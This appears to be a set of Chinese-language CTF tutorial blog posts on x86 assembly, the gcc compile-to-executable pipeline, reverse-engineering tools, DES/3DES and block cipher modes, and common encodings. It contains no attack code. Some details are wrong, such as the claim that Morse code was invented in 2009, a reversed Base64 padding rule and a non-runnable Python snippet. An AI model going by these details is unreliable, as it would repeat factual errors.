mov eax, 0x900 ; eax = 0x900
mul eax, 0x64  ; eax *= 0x64
; eax = 0x38400
div eax, 0x120 ; eax /= 0x120
; eax = 0x320
JMP (jump) & LOOP (loop)
JMP是跳躍指令，跳躍分為無條件跳躍與條件跳躍，無條件跳躍為無論暫存器為何值一律跳躍，而條件跳躍則會利用cmp等指令來確定暫存器的值後，再根據條件決定要跳躍到何處。JMP本身是無條件跳躍指令，單獨遇到JMP會直接跳躍到指定的位置。如下所示：
1
jmp 0x400136 ; call 0x400136
我們也能使用JMP創造LOOP迴圈的功能，但需要使用其他方式退出，否則僅使用JMP將會製造無窮迴圈。
而LOOP指令則是正規用來創建迴圈的指令，其中前面提到cx將會是其之計數器，先將cx設為迴圈執行的次數後，每執行一次迴圈，一開始cx即會減一，並與0進行cmp，若cx為零則不跳躍，否則跳到指定的地方。需要注意的是，若一開始將cx的值設為0，則減一後發生溢位(overflow)會成為0xFFFFFFFF，會使迴圈不依照原始的狀況跑，必須特別留意。使用情況如下：
1
2
3
4
5
6
mov ax, 0x0  ; ax = 0x0
mov ecx, 0xa ; ecx = 0xa
L1:
inc ax       ; ax++
loop L1      ; loop
; ax = 0xa
至於有條件跳躍指令可就多了，依照不同的暫存器比較會有不同的結果，以下表格列出了所有可能的JMP相關指令：
Stack
Stack是記憶體中一段確定的區域(這部分在pwn會介紹較多，這裡先簡單說明)，堆疊有分為高位址(high memory address)與低位址(low memory address)，在程式執行時堆疊的資料會由高位址往低位址堆疊，由上往下堆的型態與一般認定的堆疊概念不太相同，如下所示：
而stack中最常使用到的指令便是push與pop了，push會將資料推進堆疊，pop則會將stack最上層的資料從堆疊中移出。而負責控管他們的暫存器有三個，以64位元而言有rsp、rbp及rip，前面有提過rsp會指向目前堆疊的頂端，rbp會指向底端，而rip則會指向目前執行到程式的位址，並在外部函數準備跳回原本函數時，將存在堆疊上的位址套用到自己身上，完成跳回繼續執行的動作(pwn部分解釋)。
1
2
3
endbr64
push   rbp
mov    rbp,rsp
組合語言在函式的開始通常會有這樣初始化的動作，會將rsp與rbp都先還原到同一個位置，接著rsp持續上長，rbp則留在原處，框出目前正在處理的stack區域。
統整
組合語言根據不同的需求還有許多不同的相關指令，但因為不太會出現在CTF中，就不在這裡多介紹，想要參考更多的讀者可以根據需求尋找不同功能的指令來進行使用。想要直接讀懂組合語言需要長久的練習與精熟度，因此這個部分請務必好好弄懂!
二進位檔案(Binary)
二進位檔案通常會被稱為binary，通指包含ASCII及擴充ASCII字元中編寫資料或程式指令(instructions)的檔案，這裡以Linux系統內最常見的.elf檔案，搭配預設編譯器gcc指令來進行說明。一般而言編譯的過程包含六大步驟：**原始碼(source code)、預處理器(preprocessor)、編譯器(compiler)、組譯器(assembler)、連結器(linker)以及可執行檔(executable)**。以下以一個實際的案例來實作：
1
2
3
4
5
//hello.c
#include
int main(){
    printf("Hello, World!\n");
}
將其利用gcc指令編譯，指令如下，其中-save-temps會將編譯過程中的中間檔案保存，--verbose能夠看到詳細資訊：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ gcc hello.c -o hello -save-temps --verbose
...
 /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu hello.c -mtune=generic -march=x86-64 -fpch-preprocess -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o hello.i
...
 /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -fpreprocessed hello.i -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o hello.s
...
 as -v --64 -o hello.o hello.s
...
 /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=hello.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o hello /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. hello.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o
...
$ ls
hello hello.c hello.i hello.o hello.s
$ ./hello
Hello, World!
Preprocessor
其中可以看到，hello.c先被preprocessor處理成hello.i，我們來看看hello.i的內容：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1 "hello.c"
# 1 ""
...
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;


typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
...
# 2 "hello.c"
int main(){
    printf("Hello, World!\n");
}
這個步驟可以由單一指令完成：
1
gcc -E hello.c -o hello.i
我們可以看到，原先的hello.c運用到的函式都先被還原成最原始的定義式，包含#include的下游內容也會被載入到程式中，形成一個相對冗長的原始碼型態，目的是在接下來的處理中處理器能夠更輕易的存取到需要的外部檔案與各種定義。
Compiler
接著我們看看編譯(compile)的階段，對應輸出檔案是hello.s。產生易讀檔案指令如下：
1
gcc -S hello.c -o hello.s -masm=intel -fno-asynchronous-unwind-tables
將組合語言的內容印出看看：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
        .file   "hello.c"
        .intel_syntax noprefix
        .text
        .section        .rodata
.LC0:
        .string "Hello, World!"
        .text
        .globl  main
        .type   main, @function
main:
        endbr64
        push    rbp
        mov     rbp, rsp
        lea     rdi, .LC0[rip]
        call    puts@PLT
        mov     eax, 0
        pop     rbp
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0"
        .section        .note.GNU-stack,"",@progbits
        .section        .note.gnu.property,"a"
        .align 8
        .long    1f - 0f
        .long    4f - 1f
        .long    5
0:
        .string  "GNU"
1:
        .align 8
        .long    0xc0000002
        .long    3f - 2f
2:
        .long    0x3
3:
        .align 8
4:
可以發現原本的C語言已經消失，變成了組合語言。從main函數的地方可以明顯的看出，除了一些額外的小設定之外，程式先去LC0的地方取出"Hello World!"字串，再從呼叫外部.PLT表(pwn中清楚說明)中的puts()函數輸出"Hello World!"，利用直接讀組合語言的方式便能輕鬆的釐清這類簡單程式的邏輯，這在之後的Reverse題目中是非常重要的技能。
Assembler
接著進入到了目的碼的部分，hello.s被組譯器組譯成了hello.o，看看裡面寫了些什麼：
1
2
gcc -c hello.c -o hello.o
gcc -c hello.s -o hello.o
1
2
3
4
5
6
7
8
9
10
11
12
��UH��H�=��]�Hello, World!GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0GNU�zRx


                                                                                      
R
 ��       ello.cmain_GLOBAL_OFFSET_TABLE_puts
                                                               ��������
                                                                           �������� .symtab.strtab.shstrtab.rela.text.                                                                                                                     .data.bss.rodata.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @X0
                                                                               &[[1[90i,B�R�j�e@�
                                                                                                                      �8

       ()�t
此時的hello.s已經被處理成了一個可重定位檔案(Relocatable File)hello.o，因此已經十分接近可執行檔了。我們利用objdump看看裡面的程式型態：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ objdump -M intel -d hello.o

hello.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 :
   0:   f3 0f 1e fa             endbr64
   4:   55                      push   rbp
   5:   48 89 e5                mov    rbp,rsp
   8:   48 8d 3d 00 00 00 00    lea    rdi,[rip+0x0]        # f 
   f:   e8 00 00 00 00          call   14 
  14:   b8 00 00 00 00          mov    eax,0x0
  19:   5d                      pop    rbp
  1a:   c3                      ret
因為還沒進行連結(link)，因此main函數中的位址仍舊是相對的，程式自動利用0x000000作為base address，呈現相對位址的型態，同時外界的GOT表、PLT表等都尚未進行連結，因此在呼叫puts()時會被設定為下一行的位址0x14。因為資訊不完整的緣故，現在的hello.o是沒有辦法跑起來的。
Executable
終於進行到了最後一步，我們要將hello.o進行外部連結，產生最後的可執行檔。-static會強制程式使用靜態連結，即不採用外界表直接將程式內容寫進可執行檔，可以完整看到所有呼叫內容的組合語言(但會變得很冗長)。
1
2
gcc hello.o -o hello -static
gcc hello.c -o hello -static
最終便產生可執行程式hello，利用objdump觀察一下main函數的部分：
1
2
3
4
5
6
7
8
9
10
11
12
0000000000001149 :
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   rbp
    114e:       48 89 e5                mov    rbp,rsp
    1151:       48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 <_IO_stdin_used+0x4>
    1158:       e8 f3 fe ff ff          call   1050 
    115d:       b8 00 00 00 00          mov    eax,0x0
    1162:       5d                      pop    rbp
    1163:       c3                      ret
    1164:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
    116b:       00 00 00
    116e:       66 90                   xchg   ax,ax
可以發現main函數已經被連結到正確的位址0x1149，也做好了函數的所有呼叫連結，所以程式能夠正常運行了。以上就是所有產生可執行檔中間的內容～
Disassemble
反組譯是逆向工程中最簡單的部分，此過程為將可執行檔轉換成組合語言的過程，大部分的工具都能做到這件事，包含gdb、objdump等，主要是因為組合語言轉換成可執行檔的過程僅是將組合語言翻譯成機器碼，故此部分的逆向可以輕易轉回，如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ objdump -M intel -d hello

hello:     file format elf64-x86-64


Disassembly of section .init:

0000000000001000 <_init>:
    1000:       f3 0f 1e fa             endbr64
    1004:       48 83 ec 08             sub    rsp,0x8
    1008:       48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]        # 3fe8 <__gmon_start__>
    100f:       48 85 c0                test   rax,rax
    1012:       74 02                   je     1016 <_init+0x16>
    1014:       ff d0                   call   rax
    1016:       48 83 c4 08             add    rsp,0x8
    101a:       c3                      ret

Disassembly of section .plt:

0000000000001020 <.plt>:
    1020:       ff 35 9a 2f 00 00       push   QWORD PTR [rip+0x2f9a]        # 3fc0 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:       f2 ff 25 9b 2f 00 00    bnd jmp QWORD PTR [rip+0x2f9b]        # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x10>
    102d:       0f 1f 00                nop    DWORD PTR [rax]
    1030:       f3 0f 1e fa             endbr64
    1034:       68 00 00 00 00          push   0x0
    1039:       f2 e9 e1 ff ff ff       bnd jmp 1020 <.plt>
    103f:       90                      nop
...
然而，組合語言過程依舊有資訊遺失，因為反編譯時必須確定哪些機器碼是作為程式部分、哪些做為資料部分，才能精準反組譯，若是不小心將資料同樣反組譯，出現的組合語言就不會正確。現今組合語言的架構將程式與資料的界線弄得相當模糊，因此也不能確保反組譯組合語言輸出的內容必定正確，包含JMP LABEL的資訊是非常容易在反組譯過程遺失的。不過我們可以透過以下兩種演算法來還原程式流程，線性掃描與遞迴下降。
線性掃描簡而言之就是暴力搜索，根據機器碼的位置從頭到尾進行反組譯，但只要中間插入了其他資料，這種演算法就會失效。
遞迴下降則是透過程式的特徵(pattern)來進行判斷，如條件指令就可能會出現兩個分支，普通指令則會直接執行下一行等，遞迴下降會使用這種方法來判斷自己反組譯的內容是否正確，普遍而言正確率較線性掃描高，一般工具都會使用這種演算法來反組譯。
Decompile
反編譯的部分難度較反組譯高上許多，許多語言包含C/C++甚至沒有對應的反組譯器，從上面也可以看到，編譯的過程中程式出現了重大的改變，因此許多資訊在編譯過程中是會遺失的，也因此反編譯的難度極高。當然，也有某些程式語言如Java、C#等，可以透過特定的工具完整還原原始程式，但基本上大部分的高階語言仍然無法完全反編譯。這裡先簡單介紹一些工具，後續會陸續介紹這些工具的使用方法。
dnSpy
這個工具是專門用來逆向C#的可執行檔.NET的工具，基於C#的特性，dnSpy基本上在有完整.dll檔的情況下可以完整逆出程式邏輯與資料(但有些時候會有資訊遺漏)，遇到.NET的問題通常是使用這個來逆向處理。使用介面如下：
Java Decompiler
Java的下游檔案.class與.jar也可以直接透過逆向工具來完整逆向，一般使用線上工具即可，也有本地的軟體能夠使用，以下列出幾個好用的工具：
Java-decompiler：本地工具
Online Tool：線上工具
IDA Pro
IDA Pro是目前市面上數一數二強大的分析工具，可以對於x86、ARM等多個架構進行PE、ELF檔案的逆向靜態分析與動態偵錯，其內部使用Hex-Rays Decompiler，可以針對組合語言產生C語言偽原始碼，基本上雖然不精確，但對於分析而言是一個非常大的幫助，包含釐清程式的函式功能等。以下是使用的介面示意圖：
Ghidra
Ghidra的性質與IDA Pro類似，使用Java開發，基本上與IDA Pro相去無幾，且為開源程式，雖然plugin比IDA Pro少一些，但基本的反組譯、反編譯功能也不輸IDA Pro，詳細的使用介面如下：
gdb
gdb是一款強大的GNU命令列偵錯器，用於逆向工程的動態分析，並且支援Python的程式使用，擴充外掛也同樣易用，根據不同的需求，常用的外掛有gef、peda與pwndbg，讀者可以根據自己的需求選擇使用。使用介面如下(以pwndbg為例)：
radare2
radare2是進行逆向工程的好工具，最大好處是支援命令列功能，可以在Linux CMD中運行，與IDA Pro能進行的功能已相當接近，但需要注意的是，這項工具並沒有反編譯功能。使用介面如下：
Ollydbg & x64dbg
這兩個工具是專門用於Windows逆向的偵錯工具，其中Ollydbg支援32bit，x64dbg則擴充支援32bit與64bit。這兩個工具的擴充性同樣很高，主要是針對Windows逆向的題目較能夠處理，但其中並沒有反編譯的功能。以下是使用介面(以x64dbg為例)：



CTF系列-Cryptography密碼學進階I
2023-01-28T21:41:20.000Z
上一篇Crypto介紹了編碼與古典密碼學的部分，接下來要進入相對複雜不少的現代密碼學囉!現代密碼學的種類繁多，如DES、AES、RSA等都被歸類於現代密碼，非對稱式的加密模式也使攻擊者解密的難度大大增加，究竟現在發展出了哪些攻擊方法來攻擊這些看起來堅不可摧的加密法呢？一起來看看進階的密碼學吧!歡迎各位來訊說明或補充筆者不足的部分喔!😊
Block Cipher
在進入現代密碼學之前，必須先了解區塊密碼的實現原理，DES、AES等高階密碼都有使用到這種方式來確保加密的安全性。Block Cipher可以被視為一種特殊的替代密碼，但一次替代的是一個區塊，而非一個字元。由於明文的長度非常大，因此對於不同的key，無法以對應表的方式處理加解密，僅能透過特殊的演算法來還原明文。
Block Cipher允許透過單一key對長度大於其的明文進行加密，但必須先將明文依照密鑰長度進行分塊，最後不足密鑰長度的區塊須以特殊的填充方法(padding)使其與其他區塊的長度相同(可攻擊的點，稍後說明)，因此命名為區塊密碼。通常在加密前會先有一個初始向量(Initial Vector，$IV$)來對原始的第一塊明文進行處理，以確保第一塊明文不會被輕易破解，而第一塊處理完成的密文則會成為第二塊明文的$IV$，以此類推完成整個加密過程。以下則是五種常見的區塊密碼模式。
Electronic CodeBook (ECB)
ECB是區塊密碼最簡單的一種模式，這種模式沒有初始向量，直接以密鑰對明文進行加密後輸出，這也意味著若是有區塊為相同的明文，將被加密成為相同的密文塊，因此最容易被攻擊。詳細加密的邏輯如下：
$C_i=E(P_i)$
$P_i=D(C_i)$
Cipher Block Chaining (CBC)
CBC模式中與ECB不同的地方在於，分塊後的明文會先與特定密文進行XOR後再進行加密處理，第一塊與$IV$ XOR，其餘與前一塊所產生的密文XOR。假設第一個區塊的index為1，CBC的加解密能夠被表示為：
$C_0=IV…C_i=E_n(P_i⊕C_{i-1})$
$C_0=IV…P_i=D_n(C_i)⊕C_{i-1}$
其中一種最常見的攻擊手法簡單來說會是利用改變某一位密文導致的解密錯誤來試出正確的明文，後面會再詳細說明。
Output FeedBack (OFB)
OFB與前面兩種模式又不同了，他是使用$IV$來進行加密，產出$IV$的密文後再與第一塊明文進行XOR，同時這個中介密文會成為下一個加密的輸入。基於XOR的特性$A⊕B=C\implies A=B⊕C，B=A⊕C$，OFB模式下的加解密操作會完全相同。詳細概念如下：
$O_0=IV…O_i=E(O_{i-1})$
$C_i=P_i⊕O_i$，$P_i=C_i⊕O_i$
由於OFB的工作模式類似流密碼，因此在改變一位密文時也只會改變一位的解密結果，安全性相較ECB與CBC高上許多。
Cipher FeedBack (CFB)
CFB的型態與OFB幾乎相同，唯一的差別是OFB拿來成為下一塊加密輸入的是IV的加密流，而CFB則是取前一塊的最終密文。詳細說明如下：
$C_0=IV$
$C_i=P_i⊕E(C_{i-1})$
$P_i=C_i⊕E(C_{i-1})$
由於取用的關聯性變複雜了，CFB的安全性稍稍高於OFB，但基本上沒有太大的差別。
Counter Mode (CTR)
最後是CTR，基本上它可以被理解為OFB的變形，首先一個固定的$Nonce$(可以視為$IV$)與計數器$Counter$透過加密者希望的方式連接，而計數器如何計數也能夠由加者者自行決定，下方以正規計數器的模式作為範例。其中計數器存在的目的為保證長時間的加密不重複輸出。而接著將$Nonce$與$Counter$組合出的字串加密後與明文XOR進行加密處理。詳細情況如下：
$O_i=Nonce$ $..$ $Counter_i$
$C_i=P_i⊕O_i，P_i=C_i⊕O_i$
因為$Nonce$與$Counter$基本上在每一塊的連接上會有關聯性，因此可以將其視為金鑰流(flow)，且實作上又比OFB更加複雜，目前幾乎可以保證安全性。
Feistel Cipher
費斯妥密碼是分組密碼最常使用的一種加密方案，包含了稍後會提到的DES(Data Encryption Standard，資料加密標準)，其優點在於加密與解密的過程十分類似，在某些程序中甚至完全相同，只需要逆向操作即可。
費斯妥密碼的加密過程會先將明文塊拆分為兩個等長的塊$(L_0,R_0)$，對單一區塊加密$n$次，使用$F$作為內部函數(各種Block Cipher Encryption更改的地方)(不須可逆)，且令每一步所使用的密鑰為$K_0,K_1…K_n$，第一次使用$R_0$作為輸入、$K_0$作為密鑰進行加密，密文與$L_0$XOR之後作為下一次加密的輸入，$R_0$則直接下放成為與下次密文XOR的對象，簡而言之就是$L$與$R$的角色互換，如此進行$n$次後將兩者合併作為輸出，因此圖案會是連續左右交錯的$X$型。以數學則可表為遞迴表達式：
$L_{i+1}=R_i$
$R_{i+1}=L_i⊕F(R_i,K_i)$
解密則十分類似，僅是將加密的過程反向做一次而已(利用XOR的可逆性)。
$R_i=L_{i+1}$
$L_i=R_{i+1}⊕F(L_{i+1},K_i)$
因為$F$函數的不可預測性，攻擊者基本上無法以這個地方作為切入點發動攻擊。
DES
終於要隆重介紹今天的主角DES了～DES是一種對稱式密鑰加密塊密碼演算法(它是對稱是加密唷!)，它其實是一個向大眾徵集足夠嚴謹加密算法的產物，最初期的草稿由IBM公司設計，1976年被美國聯邦政府的國家標準局確定為聯邦資料處理標準(FIPS)，隨後在國際上廣泛流傳開來。它的基本金鑰是56bit，由於是由美國國家機關發出，金鑰長度又相對較短，被懷疑內含美國國安局NSA的後門(sbox等置換表)，剛推出時受到了嚴密審查，也因而被公認是推動Block Cipher發展的一套加密方法。
DES現今已不是安全的加密模式，主因為其使用的56bit金鑰過短，在1999年時就曾經有全新的加密內容在一天內被破解。在安全性的考量上，可以使用DES的衍生演算法3DES來進行加密，雖然3DES也存在理論上的攻擊方法，後面會提及如何攻擊。也基於DES的不安全，它的進階加密方法AES也在數年後出現，將在下一個段落詳細介紹。
DES在加密的過程中將會有五個主要步驟，以下將逐一說明。
Initial Permutation (IP)
初始置換是DES的第一步，以64bit的明文為基準，分為一或多個明文區塊，每個明文區塊有64bit(不足補0)，且會依照以下表格進行置換，通稱為IP表：
如上所示，明文的第58位會被置換到IP表的第1位，而明文的第50位會被置換到IP表的第二位，以此類推完成整張IP表。
Subkey’s Generation
DES函數在加密時會傳入一個64bit的原始key，而這個原始key並不會被直接利用在加密中，而是先產生16組子金鑰。第零組子金鑰(不使用)的來源為以下這個表格的置換，本質上與IP表的置換原理完全一樣，這張表格稱為PC-1(Permuted choice 1)：
有發現表格中只剩下56格嗎?其實第8,16,24,32,40,48,56,64位這8位的key被指定作為**奇偶校驗位(parity bit)**，因此不會出現在表格中喔!
接著我們從左半金鑰置換表與右半金鑰置換表中，能夠得到兩個部分的金鑰$C_0$與$D_0$，接著在對其做出一個循環左移的操作，連續16次即可獲得$C_1$～$C_{16}$與$D_1$～$D_{16}$的值，其中在每次互換中的左移位數分別為：

(上為index，下為左移位數)
接著將每組$C_i$與$D_i$組合完成，產生16組56位的次金鑰，最後再以另一張表格選出48位完成16組金鑰$K_1$～$K_{16}$最終置換，這張表格稱為PC-2(Permuted choice 2)：
這次忽略的位數與上面稍有不同，為第9,18,22,25,35,38,43,54位。
Encryption
這個步驟就是應用到費斯妥密碼的想法所在了，前一個步驟產生了16種不同的金鑰，將會利用前面所提到的費斯妥密碼邏輯，一共重複16次來進行加密。而以下將詳細說明DES自訂的費斯妥函數$F$是如何運作的。
費斯妥函數$F$
DES的$F$函數作用概念如下所示：
前面有提到，費斯妥函數的輸入會是明文塊的其中一半與金鑰，如上所示。首先一半的明文$R_0$會先經過擴張置換$E$從32bit擴張到48bit(為了之後與48bit的密鑰XOR)，置換表格如下：
其中數位的明文重複出現，使輸出包括8個6bit的塊，每塊包含兩個上一列中曾經出現的最後兩位作為開頭，加上4bit對應的輸入位。
明文置換完成後，會與$K_0$進行XOR後形成中介密文，接著依照位數分別進入8個sbox(置換盒)$S_1$～$S_8$中進行處理(查表)，每個sbox處理6位，處理後輸出4位。sbox被認定提供了DES的核心安全性，若沒有sbox，密碼會是線性的，很容易被破解。$S_1$～$S_8$的置換表如下：

以110101作為$S_1$範例輸入，其符合1XXXX1與X1010X的對應，對應出的數字為3，即4bit的二進位數值0011，傳出0011作為輸出，以此類推，將$S_1$～$S_8$都以此方式產生輸出，拼湊產生共32bit的中介密文。
最後將這32bit的中介密文送進一個稱為P的置換表再次置換後完成$F$函數的作用。P置換表如下：
完成$F$函數作用，接著重複16次費斯妥密碼程序後完成加密處理步驟，獲得64位元的密文。其中這三個子步驟皆符合實用密碼所需的必要條件-混淆與擴散(confusion and diffusion)
Final Permutation (FP)
最後一個步驟事實上是第一步IP的逆處理，因此FP也被稱為inverse(IP)，處理的表格可以IP的表格推出，如下所示：
至此完成整個DES加密，輸出64bit的最終密文，若有下一塊明文則以使用者選擇的Block Cipher模式連結到下一個明文塊進行加密。P.S.這種加密真麻煩XD
若想完整了解Python的實作方式可參考此網站
Security
雖然DES最早被發現，研究它的論文也不在少數，但截至目前為止，暴力破解仍是解開DES最有效的方法(btw量子電腦的出現可能會改變這個事實)，曾經有三種發表的攻擊方法其時間複雜度$O$小於暴力破解，但因為需要大量的額外資訊($2^{43}$個以上的明文數量)，因此實用價值不高。
Triple DES
3DES，又稱TDEA(Triple Data Encryption Algorithm)，是DES在被發現不安全後產生的加強版，基本上就是重複利用DES演算法的一種模式，由於電腦運算能力的增強，原版DES由於金鑰長度過低容易被暴力破解，因此3DES利用三個不同的密鑰來對明文加密。詳細演算法如下，$K_1$～$K_3$為三把不同的金鑰：
$C=E_{K_1}(D_{K_2}(E_{K_3}(P)))$
$P=D_{K_3}(E_{K_2}(D_{K_1}(C)))$
是的你沒看錯，3DES的全加密演算法是使用$K_1$為金鑰進行DES加密，再用$K_2$為金鑰進行DES解密，最後以$K_3$進行DES加密。反之，3DES的全解密演算法則是先使用$K_3$為金鑰進行DES解密，再用$K_2$為金鑰進行DES加密，最後以$K_1$進行DES解密得到明文。
Keying Options
3DES的標準定義規範了三種金鑰選項，其中第二種及第三種已經因安全性的問題遭棄用(但可能出現在CTF競賽中)，如下所示。
Keying Option I
別名：3TDEA、三倍長度金鑰(triple-length keys)
簡而言之，三把金鑰$K_1$、$K_2$、$K_3$兩兩獨立，互不影響。
有$56\times 3=168$個獨立金鑰位，安全性最高。
可能被中間人攻擊(MITM)，故有效安全金鑰位僅有$56\times 2=112$位。
Keying Option II
別名：2TDEA、雙倍長度金鑰(double-length keys)
$K_1$與$K_2$相互獨立，且$K_1=K_3$。
有$56\times 2=112$個獨立金鑰位，雖然安全強度大於單獨使用兩次DES(double DES)(2TDEA可抵禦中間人攻擊(MITM))，但仍因金鑰長度不足而被棄用。
Keying Option III
$K_1=K_2=K_3$
此選項等同single DES，僅有$56\times 1=56$個獨立金鑰位，前兩步等同無效，安全性最低，因金鑰長度不足而被棄用。
Security
3TDEA提供了112位的有效金鑰位，據資料顯示其最佳化的攻擊仍需要$2^{32}$組額外明文、$2^{113}$步、$2^{90}$次DES加密與$2^{88}bit$的記憶體，這在目前的現實電腦仍是無稽之談，因此安全性仍舊存在，目前正在觀察量子電腦的進展，未來有機會攻破這個限制。而2TDEA雖然表面上也有112位的有效金鑰位，但其對於特定的明文攻擊強度較弱，因此被認定僅有約80位的有效金鑰位安全性。
統整
DES目前在特定條件下仍舊存在一定的安全性，但受到電腦效能的持續突破，防範暴力攻擊的能力已經不如以往，因此在其之後發展出了AES來替代它，但AES在密鑰不安全下所存在的漏洞並不亞於DES，下一篇將介紹AES與講解其之常見攻擊模式，敬請期待～


CTF系列-Cryptography密碼學基礎
2023-01-26T22:58:44.000Z
密碼學是CTF中經常出現的題型，除了經典的各種加密之外，還時常會出現出題者自定義的加密法，要求攻擊者以各種方式來進行解密，因此通常在密碼學中，數學推導與邏輯是非常被強調的一個部分，此外，如何利用程式語言寫出合適且效率好的解密方法也是不可或缺，以下我們就來介紹密碼學的各種類型與解法吧!歡迎各位來訊說明或補充筆者不足的部分喔!😄
Encode or Encrypt?
一開始先來討論時常被一般大眾搞混的兩個詞彙，Encode(編碼)與Encrypt(加密)。Encode的內容單純，甚至一般被認為無安全性，主要是以各種定義的函數來對資料進行處理，諸如Ascii、Base64、Base58、UTF-8、Big5等，以數學上的定義來說，假設$f(x)$為編碼函數，那麼利用其之反函數$f^{-1}(x)$對已編碼資料進行處理，便能回到原先的資料型態，無須多餘處理。
而Encrypt的內容相對複雜一些，單純使用反函數的概念是無法將加密資料返回原先狀態的，需要經過一些額外的處理與變換，有時利用正面的方法是無法解決的，需要旁敲側擊，其中又分為古典密碼(Classical Cipher)與現代密碼(Modern Cipher)，根據不同的演算法又存在不同的處理方式，以下將逐一介紹。
Encode
Encode的方式千奇百怪，尤其是因為只要符合反函數定義者都能被廣義的稱為編碼，因此自定義的編碼也不在少數。以下會介紹幾個最為常見的編碼模式。
Morse Code
摩斯密碼，是一種時通時斷的訊號代碼，通過不同的排列順序來表達不同的英文字母、數字和標點符號。由美國發明家薩繆爾·摩斯及其助手艾爾菲德·維爾在2009年發明，也是經常在談論密碼學時提及的古典密碼經典。詳情可參見此頁面
透過以上這張對應表，能夠從文檔或音檔中獲取到對方所欲傳達的訊息。當然，現今也有發展出對應的工具來處理這方面的解碼(Decode)。
Decode Tools
CyberChef：幾乎可以解出所有密碼(前提為條件足夠)
morse-sound-receiver：可處理音檔摩斯密碼
Base-X
Base編碼基於各種不同的編碼字元數與字元，能夠產生出各種不同的加密形式。最常見的型態為Base64，它基於64個可列印字元來表示二進位資料($2^6=64$，$6$ $bit$)，一個ASCII字元為8bit，由最小公倍數得，3個文字能夠被Base64轉換成4個字元，範例如下：
Base64在進行轉換時，由上面所述，資料字元數須為三的倍數，不足三位以0x0補足。接著根據二進位值一一取出6bit，並從64個字元中找出其對應字元，直到所有資料轉換完成。若資料位數為$3n+2,n\in N$，會在轉換資料後補上==；若資料位數為$3n+1,n\in N$，則會在轉換資料後補上=。
輕鬆一下：Base1024會是以🥳等表情符號作為編碼喔!
Decode Tools
CyberChef
base-x：能夠處理各種base為基底的加解碼(包含自訂字元)
當然，我們也能夠透過Python來處理這方面的解碼工作，如下所示：
1
2
3
4
5
import base64
raw = "M3t30r loves cryptography."
data = base64.b64encode(raw) # encode
assert raw == base64.b64decode(data) # decode
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # Base64 64bit string
uuencode
uuencode採用的方法基本上與Base64相同，在分為三位元的資料轉換為6bit一組時，每組的10進位資料會落於0～63之間，此時將所有資料加上32之後，剛好會落在ASCII可列印的字元範圍，以此做為資料輸出。如下例所示：
Tips：uuencode辨識方法為特殊字元非常多(因範圍為32至95，多為特殊字元)
Decode Tools
dcode.fr
uu (pip tool)
xxencode
基本上與Base64相同，但使用的轉換字元串不同，它使用的是+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz，且資料位數不足時補的是+，其餘皆同。
Decode Tools
base-x
URL Encode
通常會在瀏覽器中使用，基於一些保留字元會有相異的解讀，會先將每個字元轉換為2位16進位表示值後(以UTF-8標準)，再在前方加入%符號作為URL統一標準，稱為URL encode。
Decode Tools
URL Encoder/Decoder
BrainFuck
